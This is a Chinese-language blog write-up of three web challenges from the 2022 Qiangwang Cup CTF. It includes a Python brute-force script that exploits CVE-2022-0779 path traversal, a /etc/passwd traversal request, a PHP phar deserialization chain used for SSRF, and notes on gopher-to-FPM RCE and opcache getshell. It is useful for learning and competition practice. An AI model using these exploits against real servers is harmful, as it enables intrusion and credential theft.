Eki's blog Eki's blog
Home
  • Library

    • PHP
    • JAVA
    • Node
    • Python
  • Contest

    • D3CTF 2021 Write Up
    • 虎符CTF2021
    • 2021 红帽 Web Write Up
  • Problem Set

    • Ethernaut Write Up
Pentest
Develop
  • Friends
About
  • Website
  • Tools
  • Categories
  • Tags
  • Archives
GitHub (opens new window)

Eki

Dreamer of Dreams
Home
  • Library

    • PHP
    • JAVA
    • Node
    • Python
  • Contest

    • D3CTF 2021 Write Up
    • 虎符CTF2021
    • 2021 红帽 Web Write Up
  • Problem Set

    • Ethernaut Write Up
Pentest
Develop
  • Friends
About
  • Website
  • Tools
  • Categories
  • Tags
  • Archives
GitHub (opens new window)
  • 强网杯2022线上赛 Web题解

    • 强网杯2022线上赛 部分题解
      • [强网先锋] WP-UM
        • [Web] easyweb
          • [Web] uploadpro
          Eki
          2022-08-06
          CTF Contest
          目录

          强网杯2022线上赛 Web题解

          # 强网杯2022线上赛 部分题解

          图片

          被群佬带飞,最后rank11

          # [强网先锋] WP-UM

          提供了源码,提示密码存放在/username和/password下

          根据插件信息可以找到CVE-2022-0779,其文件存在或者不存在回显不同,因此可以穿越目录判断文件是否存在,根据题目条件就可以爆破出wordpress的用户名密码了。

          import requests
          
          session = requests.session()
          proxy = {"http":"http://127.0.0.1:8080"}
          
          def fileexist(path):
              burp0_url = "http://eci-2ze9ta9edjrr9p96y3fr.cloudeci1.ichunqiu.com:80/wp-admin/admin-ajax.php"
              burp0_cookies = {"wordpress_b6e26f19004f22590385b2ab76c2e5e8": "bubble%7C1659367853%7C4ZpisZu2i6yL83WbnZzGUgugCToFbUinXSuYCdwzK8s%7C8c7b459aa3b68d1317a663e418694f16de2007da4ac2bf8a91bd407fecd1a610", "wordpress_logged_in_b6e26f19004f22590385b2ab76c2e5e8": "bubble%7C1659367853%7C4ZpisZu2i6yL83WbnZzGUgugCToFbUinXSuYCdwzK8s%7C897d008835f7a23dc33b82c2803e5f3cc552467fede7c3eb6fcdedb3a5bb0955"}
              burp0_headers = {"Accept": "*/*", "X-Requested-With": "XMLHttpRequest", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "Origin": "http://eci-2ze9ta9edjrr9p96y3fr.cloudeci1.ichunqiu.com", "Referer": "http://eci-2ze9ta9edjrr9p96y3fr.cloudeci1.ichunqiu.com/index.php/upload/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}
              burp0_data = {"field_name": "upload", "filepath": f"/../../../..{path}", "field_id": "um_field_2", "form_key": "upload", "action": "um_show_uploaded_file", "pf_nonce": "72b3ddd905", "is_ajax": "true"}
              res = session.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data
              #,proxies=proxy
              )
              if "Remove" in res.text:
                  return True
              return False
          
          import string
          
          for i in range(1,300):
              flag =False
              for ch in string.ascii_lowercase+string.ascii_uppercase:
                  path = f"/username/{i}{ch}"
                  if(fileexist(path)):
                      print(i,ch)
                      flag = True
              if not flag:
                  break
          
          1
          2
          3
          4
          5
          6
          7
          8
          9
          10
          11
          12
          13
          14
          15
          16
          17
          18
          19
          20
          21
          22
          23
          24
          25
          26
          27
          28

          根据题目提示爆破username password

          登陆后台修改主题php文件getshell

          在/usr/local/下找到flag

          img

          # [Web] easyweb

          构造目录穿越可以任意文件读

          GET /showfile.php?f=./demo/../../../../../etc/passwd HTTP/1.1
          Host: 47.104.95.124:8080
          Upgrade-Insecure-Requests: 1
          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36
          Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
          Accept-Encoding: gzip, deflate
          Accept-Language: zh-CN,zh;q=0.9
          Connection: close
          
          1
          2
          3
          4
          5
          6
          7
          8

          获取到源码,class.php可以构建一个pop链,利用adminshow实现ssrf,并通过phar协议触发

          <?php
          class Upload {
              public $file;
              public $filesize;
              public $date;
              public $tmp;
              function __construct(){
                  $this->file = $_FILES["file"];
              }
              function do_upload() {
                  $filename = session_id().explode(".",$this->file["name"])[0].".jpg";
                  if(file_exists($filename)) {
                      unlink($filename);
                  }
                  move_uploaded_file($this->file["tmp_name"],md5("2022qwb".$_SERVER['REMOTE_ADDR'])."/".$filename);
                  echo 'upload  '."./".md5("2022qwb".$_SERVER['REMOTE_ADDR'])."/".$this->e($filename).' success!';
              }
              function e($str){
                  return htmlspecialchars($str);
              }
              function upload() {
                  if($this->check()) {
                      $this->do_upload();
                  }
              }
              function __toString(){
                  return $this->file["name"];
              }
              function __get($value){
                  $this->filesize->$value = $this->date;//此处可以任意覆盖filesize的值,绕过wakeup
                  echo $this->tmp;
              }
              function check() {
                  $allowed_types = array("jpg","png","jpeg");
                  $temp = explode(".",$this->file["name"]);
                  $extension = end($temp);
                  if(in_array($extension,$allowed_types)) {
                      return true;
                  }
                  else {
                      echo 'Invalid file!';
                      return false;
                  }
              }
          }
          
          class GuestShow{
              public $file;
              public $contents;
              public function __construct($file)
              {
          
                  $this->file=$file;
              }
              function __toString(){//2
                  $str = $this->file->name;
                  return "";
              }
              function __get($value){
                  return $this->$value;
              }
              function show()
              {
                  $this->contents = file_get_contents($this->file);
                  $src = "data:jpg;base64,".base64_encode($this->contents);
                  echo "<img src={$src} />";
              }
              function __destruct(){//1
                  echo $this;
              }
          }
          
          
          class AdminShow{
              public $source;
              public $str;
              public $filter;
              public function __construct($file)
              {
                  $this->source = $file;
                  $this->schema = 'file:///var/www/html/';
              }
              public function __toString()
              {
                  $content = $this->str[0]->source;
                  $content = $this->str[1]->schema;
                  return $content;
              }
              public function __get($value){
                  $this->show();
                  return $this->$value;
              }
              public function __set($key,$value){
                  $this->$key = $value;
              }
              public function show(){
                  if(preg_match('/usr|auto|log/i' , $this->source))
                  {
                      die("error");
                  }
                  $url = $this->schema . $this->source;
                  $curl = curl_init();
                  curl_setopt($curl, CURLOPT_URL, $url);
                  curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
                  curl_setopt($curl, CURLOPT_HEADER, 1);
                  $response = curl_exec($curl);
                  curl_close($curl);
                  $src = "data:jpg;base64,".base64_encode($response);
                  echo "<img src={$src} />";
          
              }
              public function __wakeup()
              {
                  if ($this->schema !== 'file:///var/www/html/') {
                      $this->schema = 'file:///var/www/html/';
                  }
                  if ($this->source !== 'admin.png') {
                      $this->source = 'admin.png';
                  }
              }
          }
          
          1
          2
          3
          4
          5
          6
          7
          8
          9
          10
          11
          12
          13
          14
          15
          16
          17
          18
          19
          20
          21
          22
          23
          24
          25
          26
          27
          28
          29
          30
          31
          32
          33
          34
          35
          36
          37
          38
          39
          40
          41
          42
          43
          44
          45
          46
          47
          48
          49
          50
          51
          52
          53
          54
          55
          56
          57
          58
          59
          60
          61
          62
          63
          64
          65
          66
          67
          68
          69
          70
          71
          72
          73
          74
          75
          76
          77
          78
          79
          80
          81
          82
          83
          84
          85
          86
          87
          88
          89
          90
          91
          92
          93
          94
          95
          96
          97
          98
          99
          100
          101
          102
          103
          104
          105
          106
          107
          108
          109
          110
          111
          112
          113
          114
          115
          116
          117
          118
          119
          120
          121

          这里参照https://tttang.com/archive/1603/提及的绕过wakeup限制方法进行了绕过

          最终可控AdminShow::show()

          <?php
          
          class Upload {
          }
          
          class GuestShow{
          }
          
          class AdminShow{
          }
          
          $trigger = new GuestShow();
          $upload = new Upload();
          $upload2 = new Upload();
          $final0 = new AdminShow();
          $final = new AdminShow();
          $mid = new GuestShow();
          $mid->file = $final;
          
          $upload->filesize = new Upload();
          $upload2->filesize = new Upload();
          
          $trigger->file = $upload;
          $trigger->tmp = $mid;
          
          $upload->filesize->name = &$final->schema;
          $upload->date = "";
          $upload2->filesize->name = &$final->source;
          $upload2->date = $argv[1];
          
          $trigger2 = new GuestShow();
          $trigger2->file = $upload2;
          @unlink("phar.phar");
          $phar = new Phar("phar.phar");
          $phar->startBuffering();
          $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
          $o = [
              $trigger2, $trigger
          ];
          $phar->setMetadata($o); //将自定义meta-data存入manifest
          $phar->addFromString("test.txt", "test"); //添加要压缩的文件
          //签名自动计算
          $phar->stopBuffering();
          
              
          
          1
          2
          3
          4
          5
          6
          7
          8
          9
          10
          11
          12
          13
          14
          15
          16
          17
          18
          19
          20
          21
          22
          23
          24
          25
          26
          27
          28
          29
          30
          31
          32
          33
          34
          35
          36
          37
          38
          39
          40
          41
          42
          43
          44
          45

          扫描内网 10.10.10.10处有80,http服务,可以获取源码,

          <?php
          //内网资源阅读器-测试机
          //配置信息请看phpinfo.php
          
          
          highlight_file(__FILE__);
          
          if (isset($_GET['url'])){
              $link = $_GET['url'];
              $curlobj = curl_init();
              curl_setopt($curlobj, CURLOPT_POST, 0);
              curl_setopt($curlobj,CURLOPT_URL,$link);
              curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);
              $result=curl_exec($curlobj);
              curl_close($curlobj);
          
              echo $result;
          }
          
          if($_SERVER['REMOTE_ADDR']==='10.10.10.101'||$_SERVER['REMOTE_ADDR']==='100.100.100.101'){
              system('cat /flag');
              die();
          }
          
          ?>
          
          1
          2
          3
          4
          5
          6
          7
          8
          9
          10
          11
          12
          13
          14
          15
          16
          17
          18
          19
          20
          21
          22
          23
          24
          25

          其使用了curl

          再次通过ssrf gopher打fpm实现rce获取flag payload可以通过gopherus生成

          image-20220809140423879

          # [Web] uploadpro

          /upload../目录穿越可以读文件,获取nginx配置,验证了目录穿越成因,同时配置也显示只有webroot下的php会被解析

          server {
                  listen       80;
                  server_name  localhost;
                  root /var/www/html;
                  index  index.html index.php;
                  location ~ ^/[_A-Za-z0-9]+\.php$ {
                      fastcgi_pass   unix:/run/php/php7.4-fpm.sock;
                      fastcgi_index  index.php;
                      include        fastcgi.conf;
                          }
                          location /uploads {
                                  alias /uploads/;
                                  autoindex on;  # 开启目录文件列表
                      autoindex_exact_size on;  # 显示出文件的确切大小,单位是bytes
                      autoindex_localtime on;  # 显示的文件时间为文件的服务器时间
                                  if ( $uri ~* flag|entrypoint|\./var ){
                          return 403;
                         }
                  }
                  location ~ ^/uploads/.*\.(php|php5)?$ {
                      add_header Content-Type text/plain;
                      add_header X-Content-Type-Options  nosniff;
                          }
                  location / {
                      try_files $uri $uri/ /index.php?$query_string;
                  }
              }
          
          1
          2
          3
          4
          5
          6
          7
          8
          9
          10
          11
          12
          13
          14
          15
          16
          17
          18
          19
          20
          21
          22
          23
          24
          25
          26
          27

          /uploads../proc/self/cwd/var/www/html/index.php绕过./var正则读源码 发现可以修改上传路径前缀

          <?php 
              if($_SERVER['REQUEST_METHOD']=="GET"){
                  die(0);
              }
                  header("content-type:text/html;charset=utf-8");
                  $filename = str_replace("\0","",$_FILES['file']['name']);
              $prefix = isset($_GET['prefix'])?str_replace("\0","",$_GET['prefix']):"";
                  $temp_name = $_FILES['file']['tmp_name'];
                  $size = $_FILES['file']['size'];
                  $error = $_FILES['file']['error'];
                  if ($size > 2*1024*1024){
                          echo "<script>alert('文件大小超过2M大小');window.history.go(-1);$arr = pathinfo($filename);
                  $ext_suffix = $arr['extension'];
                  $allow_suffix = array('jpg','gif','jpeg','png',"bin","hex","dat","docx","xlsx");
                  if(!in_array($ext_suffix, $allow_suffix)){
                          echo "<script>alert('上传的文件类型只能是jpg,gif,jpeg,png,bin,hex,dat');window.history.go(-1);</script>";
                          exit();
                  }
                  if (move_uploaded_file($temp_name, '/uploads/'.$prefix.$filename)){
                          echo "<script>alert('文件上传成功! Path /uploads/$prefix$filename');</script>";
                  }else{
                          echo "<script>alert('文件上传失败,错误码:$error');</script>";
                  }
           ?>
          
          1
          2
          3
          4
          5
          6
          7
          8
          9
          10
          11
          12
          13
          14
          15
          16
          17
          18
          19
          20
          21
          22
          23
          24

          phpinfo.php发现开启了opcache,并且/tmp/opcache确实有对应文件生成,考虑opcache getshell http://redteam.today/2018/04/08/opcache%E7%BC%93%E5%AD%98getshell/

          覆盖phpinfo.php.bin后成功getshell img

          编辑 (opens new window)
          上次更新: 2022/08/09, 14:57:22
          最近更新
          01
          QWB CTF2022 线下赛总决赛部分题解
          08-25
          02
          CISCN2022 总决赛部分题解
          08-25
          03
          DSCTF2022决赛 部分writeup
          08-08
          更多文章>
          Theme by Vdoing | Copyright © 2019-2022 EkiXu | Creative Commons License
          This work is licensed under a Creative Commons Attribution 4.0 International License.
          • 跟随系统
          • 浅色模式
          • 深色模式
          • 阅读模式